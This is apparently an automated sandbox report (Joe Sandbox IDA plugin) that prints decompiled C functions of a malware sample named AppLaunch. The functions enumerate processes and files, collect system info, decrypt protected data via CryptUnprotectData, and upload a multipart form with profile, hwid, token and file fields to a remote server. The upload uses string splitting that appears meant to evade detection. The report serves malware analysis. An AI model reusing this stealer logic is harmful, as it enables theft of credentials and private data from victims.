Instruction ID: aa6e8841a52c5c34b97ce5893040784a1765a92371366d8fda124b5e5bebd7e9
Opcode Fuzzy Hash: a875050891a4a3975ba37f372c8800c30c8710c52ea11755ad295bd295c9cf3b
Instruction Fuzzy Hash: 4721B771600318ABD710AF64DC4DFAB777CEF44706F0041A6F91592192EA74DE45CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0041F750 Relevance: 15.1, APIs: 10, Instructions: 87
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0041F750(CHAR* __esi) {
				char _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v28;
				char _v32;
				char _v48;
				char _v312;
				intOrPtr _v340;
				void* _v348;
				void* __ebx;
				void* __edi;
				signed int _t21;
				signed int _t22;
				void* _t24;
				int _t26;
				int _t27;
				int _t29;
				CHAR* _t34;
				void* _t40;
				void* _t52;
				void* _t53;
				CHAR* _t54;
				signed int _t55;
				void* _t56;
				void* _t57;

				_t54 = __esi;
				_push(0xffffffff);
				_push(E0043E988);
				_push( *[fs:0x0]);
				_t57 = _t56 - 0x150;
				_t21 =  *0x450664; // 0x30e242aa
				_t22 = _t21 ^ _t55;
				_v20 = _t22;
				_push(_t22);
				 *[fs:0x0] =  &_v16;
				_v348 = 0x128;
				_t24 = CreateToolhelp32Snapshot(2, 0); // executed
				_t52 = _t24;
				_t26 = Process32First(_t52,  &_v348); // executed
				if(_t26 != 0) {
					_t29 = Process32Next(_t52,  &_v348);
					_t59 = _t29;
					if(_t29 != 0) {
						do {
							lstrcatA(_t54, "- ");
							lstrcatA(_t54,  &_v312);
							lstrcatA(_t54, " [");
							_t34 = E00420370( &_v48, _t59, _v340);
							_v8 = 0;
							if(_t34[0x14] >= 0x10) {
								_t34 =  *_t34;
							}
							lstrcatA(_t54, _t34);
							_v8 = 0xffffffff;
							if(_v28 >= 0x10) {
								_push(_v48);
								E00429B0B();
								_t57 = _t57 + 4;
							}
							_v28 = 0xf;
							_v32 = 0;
							_v48 = 0;
							lstrcatA(_t54, "]\n");
							_t49 =  &_v348;
						} while (Process32Next(_t52,  &_v348) != 0);
					}
				}
				_t27 = CloseHandle(_t52);
				 *[fs:0x0] = _v16;
				_pop(_t53);
				_pop(_t40);
				return E00429B16(_t27, _t40, _v20 ^ _t55, _t49, _t53, _t54);
			}

0x0041f750
0x0041f753
0x0041f755
0x0041f760
0x0041f761
0x0041f767
0x0041f76c
0x0041f76e
0x0041f773
0x0041f777
0x0041f781
0x0041f78b
0x0041f791
0x0041f79b
0x0041f7a3
0x0041f7b1
0x0041f7b7
0x0041f7b9
0x0041f7c0
0x0041f7c6
0x0041f7d4
0x0041f7e0
0x0041f7f0
0x0041f7f7
0x0041f7fe
0x0041f800
0x0041f800
0x0041f804
0x0041f80a
0x0041f815
0x0041f81a
0x0041f81b
0x0041f820
0x0041f820
0x0041f829
0x0041f830
0x0041f833
0x0041f836
0x0041f83c
0x0041f84a
0x0041f7c0
0x0041f7b9
0x0041f853
0x0041f85c
0x0041f864
0x0041f865
0x0041f873

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041F78B
Process32First.KERNEL32 ref: 0041F79B
Process32Next.KERNEL32 ref: 0041F7B1
lstrcatA.KERNEL32(?,0044B5B0), ref: 0041F7C6
lstrcatA.KERNEL32(?,?), ref: 0041F7D4
lstrcatA.KERNEL32(?,0044A998), ref: 0041F7E0
lstrcatA.KERNEL32(?,00000000,?), ref: 0041F804
lstrcatA.KERNEL32(?,0044A99C), ref: 0041F836
Process32Next.KERNEL32 ref: 0041F844
CloseHandle.KERNEL32(00000000), ref: 0041F853

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Process32$Next$CloseCreateFirstHandleSnapshotToolhelp32
String ID:
API String ID: 2202764116-0
Opcode ID: 87ffdfb0c11d8eeea7857eb4f9d9ed8a2f88605bd90e244f62a5e82660466732
Instruction ID: 37e5da6520e62b5ef5282201954afdd1747731bef088de24169282689f964a7a
Opcode Fuzzy Hash: 87ffdfb0c11d8eeea7857eb4f9d9ed8a2f88605bd90e244f62a5e82660466732
Instruction Fuzzy Hash: 7F31C171900308EFD711DFA5DC49BEEB778FB45746F00016AF411A6291DB38AA45CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00420890 Relevance: 7.6, APIs: 5, Instructions: 126
fileCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00420890(intOrPtr* __ecx, void* __eflags, char _a4, intOrPtr _a24) {
				char _v8;
				char _v16;
				signed int _v24;
				intOrPtr _v32;
				short _v36;
				char _v52;
				intOrPtr _v60;
				short _v64;
				short _v80;
				struct _WIN32_FIND_DATAW _v672;
				void* _v676;
				char _v680;
				intOrPtr* _v684;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t50;
				signed int _t51;
				WCHAR* _t54;
				void* _t55;
				void* _t57;
				void* _t66;
				intOrPtr* _t77;
				void* _t78;
				void* _t100;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t106;
				void* _t107;

				_push(0xffffffff);
				_push(0x43e5aa);
				_push( *[fs:0x0]);
				_t106 = _t105 - 0x2a0;
				_t50 =  *0x450664; // 0x30e242aa
				_t51 = _t50 ^ _t104;
				_v24 = _t51;
				_push(_t51);
				 *[fs:0x0] =  &_v16;
				_t77 = __ecx;
				_v684 = __ecx;
				_v680 = 0;
				_v8 = 1;
				_t54 = L004205E0( &_a4,  &_v80);
				if(_t54[0xa] >= 8) {
					_t54 =  *_t54;
				}
				_t55 = FindFirstFileW(_t54,  &_v672); // executed
				_v676 = _t55;
				if(_v60 >= 8) {
					_push(_v80);
					E00429B0B();
					_t106 = _t106 + 4;
				}
				_v60 = 7;
				_v64 = 0;
				_v80 = 0;
				 *_t77 = 0;
				 *((intOrPtr*)(_t77 + 4)) = 0;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				_v680 = 1;
				_v32 = 7;
				_v36 = 0;
				_v52 = 0;
				_t57 = E0042D216( &(_v672.cFileName));
				_t107 = _t106 + 4;
				L0041FE20( &(_v672.cFileName),  &_v52, _t57);
				_v8 = 2;
				L00421D60(_t77,  &_v52);
				_v8 = 1;
				if(_v32 >= 8) {
					_push(_v52);
					E00429B0B();
					_t107 = _t107 + 4;
				}
				_t94 = _v676;
				while(FindNextFileW(_v676,  &_v672) != 0) {
					_v32 = 7;
					_v36 = 0;
					_v52 = 0;
					_t66 = E0042D216( &(_v672.cFileName));
					_t107 = _t107 + 4;
					L0041FE20( &(_v672.cFileName),  &_v52, _t66);
					_v8 = 3;
					L00421D60(_t77,  &_v52);
					_v8 = 1;
					if(_v32 >= 8) {
						_t94 = _v52;
						_push(_v52);
						E00429B0B();
						_t107 = _t107 + 4;
					}
				}
				if(_a24 >= 0x10) {
					_t94 = _a4;
					_push(_a4);
					E00429B0B();
				}
				 *[fs:0x0] = _v16;
				_pop(_t100);
				_pop(_t103);
				_pop(_t78);
				return E00429B16(_t77, _t78, _v24 ^ _t104, _t94, _t100, _t103);
			}

0x00420893
0x00420895
0x004208a0
0x004208a1
0x004208a7
0x004208ac
0x004208ae
0x004208b4
0x004208b8
0x004208be
0x004208c2
0x004208c8
0x004208d4
0x004208db
0x004208e8
0x004208ea
0x004208ea
0x004208f4
0x004208fa
0x00420903
0x00420908
0x00420909
0x0042090e
0x0042090e
0x00420918
0x0042091b
0x0042091e
0x00420922
0x00420924
0x00420927
0x00420933
0x0042093d
0x00420940
0x00420943
0x00420947
0x0042094c
0x00420959
0x00420961
0x00420965
0x0042096a
0x00420972
0x00420977
0x00420978
0x0042097d
0x0042097d
0x00420980
0x00420996
0x004209a9
0x004209ac
0x004209af
0x004209b3
0x004209b8
0x004209c5
0x004209cd
0x004209d1
0x004209d6
0x004209de
0x004209e0
0x004209e3
0x004209e4
0x004209e9
0x004209e9
0x00420a00
0x00420a08
0x00420a0a
0x00420a0d
0x00420a0e
0x00420a13
0x00420a1b
0x00420a23
0x00420a24
0x00420a25
0x00420a33

APIs

Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 0042060A
Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00420646
Part of subcall function 004205E0: _wcslen.LIBCMT ref: 00420660

FindFirstFileW.KERNEL32(00000000,?,30E242AA,?,0000000F,00000000), ref: 004208F4
_wcslen.LIBCMT ref: 00420947
FindNextFileW.KERNEL32(?,?,00000000), ref: 0042098E
_wcslen.LIBCMT ref: 004209B3
FindNextFileW.KERNEL32(?,?,00000000), ref: 004209FA

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: FileFind_wcslen$ByteCharMultiNextWide$First
String ID:
API String ID: 2626462088-0
Opcode ID: 9ff91f5fd15b145ddade8de9ad1cc7da91d6d636718f7d5b7583b8c10ca85bfd
Instruction ID: 25a9d77100e4173825fc576ad8715a9a0cf2841295e2e681f4b300d59830b70f
Opcode Fuzzy Hash: 9ff91f5fd15b145ddade8de9ad1cc7da91d6d636718f7d5b7583b8c10ca85bfd
Instruction Fuzzy Hash: 225170B1E10228EFDF10DFA5E884A9EB7B8FF54304F40406EE409A7241E738AA45CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041F540 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
timeCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0041F540(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, void* __eflags, signed int __fp0) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				struct _SYSTEMTIME _v36;
				short _v38;
				short _v42;
				short _v46;
				short _v50;
				char _v52;
				intOrPtr _v60;
				char _v80;
				struct _TIME_ZONE_INFORMATION _v260;
				signed long long _v264;
				signed int _t28;
				signed int _t29;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t54;
				signed int _t55;
				void* _t56;

				_t54 = __esi;
				_t53 = __edi;
				_t42 = __ebx;
				_t28 =  *0x450664; // 0x30e242aa
				_t29 = _t28 ^ _t55;
				_v20 = _t29;
				 *[fs:0x0] =  &_v16;
				_v264 = 0;
				_v36.wYear = 0;
				_v36.wMonth = 0;
				_v36.wDay = 0;
				_v36.wMinute = 0;
				_v36.wMilliseconds = 0;
				GetSystemTime( &_v36);
				GetTimeZoneInformation( &_v260); // executed
				_t52 =  &_v36;
				_v52 = 0;
				_v50 = 0;
				_v46 = 0;
				_v42 = 0;
				_v38 = 0;
				 *0x453590( &_v260,  &_v36,  &_v52, _t29,  *[fs:0x0], E0043E9B8, 0xffffffff); // executed
				asm("fild dword [ebp-0x100]");
				asm("fchs");
				_v264 = __fp0 /  *0x44b8a8;
				 *((intOrPtr*)(_t56 - 0xf8)) = _v264;
				_t36 = E00420690(__edi,  &_v80,  &_v52); // executed
				_v8 = 0;
				L004055B0("UTC", __esi, _t36);
				if(_v60 >= 0x10) {
					_t52 = _v80;
					_push(_v80);
					E00429B0B();
				}
				 *[fs:0x0] = _v16;
				return E00429B16(_t54, _t42, _v20 ^ _t55, _t52, _t53, _t54);
			}

0x0041f540
0x0041f540
0x0041f540
0x0041f557
0x0041f55c
0x0041f55e
0x0041f565
0x0041f571
0x0041f57b
0x0041f57f
0x0041f582
0x0041f585
0x0041f588
0x0041f58c
0x0041f599
0x0041f5a5
0x0041f5a8
0x0041f5ac
0x0041f5af
0x0041f5b2
0x0041f5b5
0x0041f5c1
0x0041f5c7
0x0041f5d7
0x0041f5d9
0x0041f5e5
0x0041f5e9
0x0041f5f6
0x0041f5fd
0x0041f609
0x0041f60b
0x0041f60e
0x0041f60f
0x0041f614
0x0041f61c
0x0041f631

APIs

GetSystemTime.KERNEL32 ref: 0041F58C
GetTimeZoneInformation.KERNEL32(?), ref: 0041F599
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 0041F5C1

Part of subcall function 00420690: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00420751

Part of subcall function 004055B0: _strlen.LIBCMT ref: 004055C2

Strings

UTC, xrefs: 0041F5EF

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Time$System$InformationIos_base_dtorLocalSpecificZone_strlenstd::ios_base::_
String ID: UTC
API String ID: 3110953754-2754919731
Opcode ID: eebd599e72883b8fb8f38e535322202146af21d3a01da0056702502e5c6f6593
Instruction ID: 2cd0216e4c7fb0d7530312a8488f12e8775fdc25eb2698d2c339650958635d36
Opcode Fuzzy Hash: eebd599e72883b8fb8f38e535322202146af21d3a01da0056702502e5c6f6593
Instruction Fuzzy Hash: 6D2108B5D14218EFCB14DFA4E944BEEBBB8FF58305F00456EE416A3280E7789654CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00414990 Relevance: 6.0, APIs: 4, Instructions: 44
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00414990(intOrPtr __eax, intOrPtr __ecx, long* __edi, void** _a4) {
				void* _v12;
				long _v16;
				intOrPtr _v20;
				char _v24;
				void* _t13;
				long _t16;
				void* _t17;
				void* _t26;

				_v20 = __eax;
				_v24 = __ecx;
				_t13 =  *0x4533e8( &_v24, 0, 0, 0, 0, 0,  &_v16); // executed
				_t26 = _t13;
				if(_t26 != 0) {
					_t16 = _v16;
					 *__edi = _t16;
					_t17 = LocalAlloc(0x40, _t16);
					 *_a4 = _t17;
					if(_t17 != 0) {
						L00429D20(_t17, _v12,  *__edi);
					}
				}
				return LocalFree(_v12) & 0xffffff00 | _t26 != 0x00000000;
			}

0x004149a3
0x004149ac
0x004149af
0x004149b5
0x004149b9
0x004149bb
0x004149c1
0x004149c3
0x004149cc
0x004149d0
0x004149da
0x004149df
0x004149d0
0x004149f5

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004149AF
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00414BCB,?,00000000,0044AC78,00000000,00000000), ref: 004149C3
_memmove.LIBCMT ref: 004149DA
LocalFree.KERNEL32(00414BCB,?,?,?,?,00414BCB,?,00000000,0044AC78,00000000,00000000), ref: 004149E6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect_memmove
String ID:
API String ID: 3008826695-0
Opcode ID: eff6044f9fdab3ed5a255582f2d6b9a71d2d2e1416186dae0b4e61840f1eb2cd
Instruction ID: 816c5947b91d5d771e72fc7f44316afb77964bf09817b32c86786edb245e03de
Opcode Fuzzy Hash: eff6044f9fdab3ed5a255582f2d6b9a71d2d2e1416186dae0b4e61840f1eb2cd
Instruction Fuzzy Hash: EE014FB5E00319BBD7119FA4DC46FAB7778EB84B01F104159AA00AB281E674DE4087E4

Uniqueness

Uniqueness Score: -1.00%

Function 0041EAE0 Relevance: 3.1, APIs: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0041EAE0(intOrPtr* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v28;
				char _v48;
				intOrPtr _v52;
				struct _SYSTEM_INFO _v88;
				void* __ebx;
				void* __edi;
				signed int _t16;
				signed int _t17;
				intOrPtr* _t20;
				intOrPtr _t29;
				intOrPtr* _t39;
				intOrPtr _t40;
				intOrPtr* _t41;
				signed int _t42;
				void* _t47;

				_t47 = __eflags;
				_t41 = __esi;
				_push(0xffffffff);
				_push(E0043EA38);
				_push( *[fs:0x0]);
				_t16 =  *0x450664; // 0x30e242aa
				_t17 = _t16 ^ _t42;
				_v20 = _t17;
				_push(_t17);
				 *[fs:0x0] =  &_v16;
				_v52 = 0;
				GetSystemInfo( &_v88); // executed
				_t20 = E00420370( &_v48, _t47, _v88.dwNumberOfProcessors); // executed
				_v8 = 0;
				if( *((intOrPtr*)(_t20 + 0x14)) < 0x10) {
					_t39 = _t20;
				} else {
					_t39 =  *_t20;
				}
				 *((intOrPtr*)(_t41 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t41 + 0x10)) = 0;
				 *_t41 = 0;
				E004050C0(_t41, _t39, L00429C90(_t39));
				if(_v28 >= 0x10) {
					_t37 = _v48;
					_push(_v48);
					E00429B0B();
				}
				 *[fs:0x0] = _v16;
				_pop(_t40);
				_pop(_t29);
				return E00429B16(_t41, _t29, _v20 ^ _t42, _t37, _t40, _t41);
			}

0x0041eae0
0x0041eae0
0x0041eae3
0x0041eae5
0x0041eaf0
0x0041eaf4
0x0041eaf9
0x0041eafb
0x0041eb00
0x0041eb04
0x0041eb0e
0x0041eb15
0x0041eb22
0x0041eb2e
0x0041eb34
0x0041eb3a
0x0041eb36
0x0041eb36
0x0041eb36
0x0041eb3c
0x0041eb43
0x0041eb47
0x0041eb55
0x0041eb5d
0x0041eb5f
0x0041eb62
0x0041eb63
0x0041eb68
0x0041eb70
0x0041eb78
0x0041eb79
0x0041eb87

APIs

GetSystemInfo.KERNEL32(30E242AA,30E242AA,00000010,00000000), ref: 0041EB15
_strlen.LIBCMT ref: 0041EB49

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: InfoSystem_strlen
String ID:
API String ID: 4169689325-0
Opcode ID: 843ba027d3c80a6cd7b062cf1d9cf4a24d171b967103e2136d19c3f95533eeaa
Instruction ID: 8d684dd74ba57144d276d10e3c8c90036a741971b468c1884f5b926e3b660551
Opcode Fuzzy Hash: 843ba027d3c80a6cd7b062cf1d9cf4a24d171b967103e2136d19c3f95533eeaa
Instruction Fuzzy Hash: AA119371A04208DFDB04DFA5E981BAEB7B8FB44714F50422FE812A7381DB38A905CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004136C0 Relevance: 187.7, APIs: 87, Strings: 20, Instructions: 463
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E004136C0(intOrPtr __ecx, long __edx, long _a4, void* _a8, short _a12, void* _a16, CHAR* _a20, CHAR* _a24) {
				signed int _v8;
				char _v520;
				char _v1020;
				char _v1520;
				void _v1776;
				void _v3776;
				char _v8776;
				void* _v8780;
				void* _v8784;
				void* _v8788;
				void* _v8792;
				long _v8796;
				int _v8800;
				intOrPtr _v8804;
				CHAR* _v8808;
				long _v8812;
				void _v8816;
				CHAR* _v8820;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t126;
				CHAR* _t135;
				void* _t138;
				void* _t168;
				void* _t169;
				void* _t229;
				int _t237;
				long _t243;
				int _t249;
				CHAR* _t250;
				int _t294;
				void* _t325;
				CHAR* _t326;
				signed int _t327;

				E00438A70(0x2270);
				_t126 =  *0x450664; // 0x30e242aa
				_v8 = _t126 ^ _t327;
				_t256 = _a4;
				_t325 = _a16;
				_v8780 = _a8;
				_v8820 = _a20;
				_v8804 = __ecx;
				_v8796 = __edx;
				_t294 =  *0x4532a4; // 0x1f180020
				_v8808 = _a24;
				_v8800 = _t294;
				L00429B30( &_v8776, 0, 0x1388);
				L00429B30( &_v1520, 0, 0x1f4);
				L00429B30( &_v520, 0, 0x200);
				_t135 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000); // executed
				_t326 = _t135;
				L00429B30( &_v1020, 0, 0x1f4);
				_t138 = InternetOpenA(0, 1, 0, 0, 0);
				_v8792 = _t138;
				_v8816 = 0x1d4c0;
				InternetSetOptionA(_t138, 2,  &_v8816, 4);
				_push("https://");
				_push(_a4);
				_v8812 = 0x100;
				_v8784 = 0;
				if( *0x453510() == 0) {
					_v8784 = 1;
				}
				_t336 = _v8792;
				if(_v8792 != 0) {
					lstrcatA( &_v1520, E00420310(0x10, _t325, _t336));
					lstrcatA(_t326, "\r\n");
					lstrcatA(_t326, "------");
					lstrcatA(_t326,  &_v1520);
					lstrcatA(_t326, "--");
					lstrcatA(_t326, "\r\n");
					lstrcatA( &_v1020, "Cont");
					lstrcatA( &_v1020, "ent-Typ");
					lstrcatA( &_v1020, "e: multip");
					lstrcatA( &_v1020, "art/for");
					lstrcatA( &_v1020, "m-data; ");
					lstrcatA( &_v1020, "boun");
					lstrcatA( &_v1020, "dary=");
					lstrcatA( &_v1020, "----");
					lstrcatA( &_v1020,  &_v1520);
					_t256 = _v8784;
					_t168 = InternetConnectA(_v8792, _v8780, _a12, 0, 0, 3, 0, 0);
					_v8784 = _t168;
					if(_t168 != 0) {
						_push(0);
						if(_t256 == 0) {
							_push(0x400100);
						} else {
							_push(0xc00100);
						}
						_t169 = HttpOpenRequestA(_t168, "POST", "/", "HTTP/1.1", 0, 0, ??, ??);
						_v8780 = _t169;
						if(_t169 != 0) {
							lstrcatA( &_v520, "------");
							lstrcatA( &_v520,  &_v1520);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "Content-Disposition: form-data; name=\"");
							lstrcatA( &_v520, "profile");
							lstrcatA( &_v520, "\"\r\n\r\n");
							lstrcatA( &_v520, _v8796);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "------");
							lstrcatA( &_v520,  &_v1520);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "Content-Disposition: form-data; name=\"");
							lstrcatA( &_v520, "profile_id");
							lstrcatA( &_v520, "\"\r\n\r\n");
							lstrcatA( &_v520, _v8820);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "------");
							lstrcatA( &_v520,  &_v1520);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "Content-Disposition: form-data; name=\"");
							lstrcatA( &_v520, "hwid");
							lstrcatA( &_v520, "\"\r\n\r\n");
							lstrcatA( &_v520, _v8808);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "------");
							lstrcatA( &_v520,  &_v1520);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "Content-Disposition: form-data; name=\"");
							lstrcatA( &_v520, "token");
							lstrcatA( &_v520, "\"\r\n\r\n");
							lstrcatA( &_v520, _v8800);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "------");
							lstrcatA( &_v520,  &_v1520);
							lstrcatA( &_v520, "\r\n");
							lstrcatA( &_v520, "Content-Disposition: form-data; name=\"");
							lstrcatA( &_v520, "file");
							lstrcatA( &_v520, "\"\r\n\r\n");
							_v8800 = lstrlenA(_t326);
							_t256 =  &(( &(_v8800[_t325]))[lstrlenA( &_v520)]);
							_t229 = RtlAllocateHeap(GetProcessHeap(), 0, _t256); // executed
							_v8788 = _t229;
							L00429D20(_v8788,  &_v520, lstrlenA( &_v520));
							L00429D20(_v8788 + lstrlenA( &_v520), _v8804, _t325);
							_t237 = lstrlenA(_t326);
							L00429D20(_t325 + lstrlenA( &_v520) + _v8788, _t326, _t237);
							_t326 = 0;
							do {
								_t243 = lstrlenA( &_v1020);
								_t325 = _v8780;
								HttpSendRequestA(_t325,  &_v1020, _t243, _v8788, _t256); // executed
								if(HttpQueryInfoA(_t325, 0x13,  &_v1776,  &_v8812, 0) == 0) {
									goto L11;
								} else {
									_push("200");
									_push( &_v1776);
									if( *0x453510() != 0) {
										goto L11;
									}
								}
								break;
								L11:
								Sleep(0x7530);
								_t326 =  &(_t326[1]);
							} while (_t326 < 6);
							L00429B30( &_v8788, 0, 4);
							_t249 = InternetReadFile(_t325,  &_v3776, 0x7cf,  &_v8796); // executed
							if(_t249 != 0) {
								while(1) {
									_t250 = _v8796;
									if(_t250 == 0) {
										goto L16;
									}
									 *((char*)(_t327 + _t250 - 0xebc)) = 0;
									lstrcatA( &_v8776,  &_v3776);
									if(InternetReadFile(_v8780,  &_v3776, 0x7cf,  &_v8796) != 0) {
										continue;
									}
									goto L16;
								}
							}
						}
					}
				}
				L16:
				InternetCloseHandle(_v8780);
				InternetCloseHandle(_v8784);
				InternetCloseHandle(_v8792);
				return E00429B16( &_v8776, _t256, _v8 ^ _t327, _v8784, _t325, _t326);
			}

0x004136c8
0x004136cd
0x004136d4
0x004136db
0x004136e0
0x004136e3
0x004136f1
0x004136f7
0x00413700
0x00413706
0x00413715
0x0041371b
0x00413721
0x00413734
0x00413747
0x0041375d
0x00413768
0x00413773
0x00413785
0x00413797
0x0041379d
0x004137a7
0x004137ad
0x004137b2
0x004137b3
0x004137bd
0x004137cf
0x004137d1
0x004137d1
0x004137db
0x004137e2
0x004137fa
0x00413806
0x00413812
0x00413820
0x0041382c
0x00413838
0x0041384a
0x0041385c
0x0041386e
0x00413880
0x00413892
0x004138a4
0x004138b6
0x004138c8
0x004138dc
0x004138f1
0x00413904
0x0041390a
0x00413912
0x00413918
0x0041391c
0x00413925
0x0041391e
0x0041391e
0x0041391e
0x0041393e
0x00413944
0x0041394c
0x0041395e
0x00413972
0x00413984
0x00413996
0x004139a8
0x004139ba
0x004139ce
0x004139e0
0x004139f2
0x00413a06
0x00413a18
0x00413a2a
0x00413a3c
0x00413a4e
0x00413a62
0x00413a74
0x00413a86
0x00413a9a
0x00413aac
0x00413abe
0x00413ad0
0x00413ae2
0x00413af6
0x00413b08
0x00413b1a
0x00413b2e
0x00413b40
0x00413b52
0x00413b64
0x00413b76
0x00413b8a
0x00413b9c
0x00413bae
0x00413bc2
0x00413bd4
0x00413be6
0x00413bf8
0x00413c0a
0x00413c1e
0x00413c34
0x00413c40
0x00413c4d
0x00413c68
0x00413c8c
0x00413c95
0x00413cb3
0x00413cbb
0x00413cc0
0x00413ccf
0x00413cd5
0x00413ce4
0x00413d05
0x00000000
0x00413d07
0x00413d07
0x00413d12
0x00413d1b
0x00000000
0x00000000
0x00413d1b
0x00000000
0x00413d1d
0x00413d22
0x00413d28
0x00413d29
0x00413d39
0x00413d55
0x00413d5d
0x00413d60
0x00413d60
0x00413d68
0x00000000
0x00000000
0x00413d70
0x00413d80
0x00413da8
0x00000000
0x00000000
0x00000000
0x00413da8
0x00413d60
0x00413d5d
0x0041394c
0x00413912
0x00413daa
0x00413db1
0x00413dbe
0x00413dcb
0x00413de7

APIs

_memset.LIBCMT ref: 00413721
_memset.LIBCMT ref: 00413734
_memset.LIBCMT ref: 00413747
GetProcessHeap.KERNEL32(00000000,00800000,?,00000000,00000010,00000000,?,0040E6B1,?,?,00000000), ref: 00413756
RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0041375D
_memset.LIBCMT ref: 00413773
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00413785
InternetSetOptionA.WININET ref: 004137A7
StrCmpCA.SHLWAPI(?,https://), ref: 004137C7
lstrcatA.KERNEL32(?,00000000), ref: 004137FA
lstrcatA.KERNEL32(00000000,0044AAFC), ref: 00413806
lstrcatA.KERNEL32(00000000,------), ref: 00413812
lstrcatA.KERNEL32(00000000,?), ref: 00413820
lstrcatA.KERNEL32(00000000,0044AB08), ref: 0041382C
lstrcatA.KERNEL32(00000000,0044AAFC), ref: 00413838
lstrcatA.KERNEL32(?,Cont), ref: 0041384A
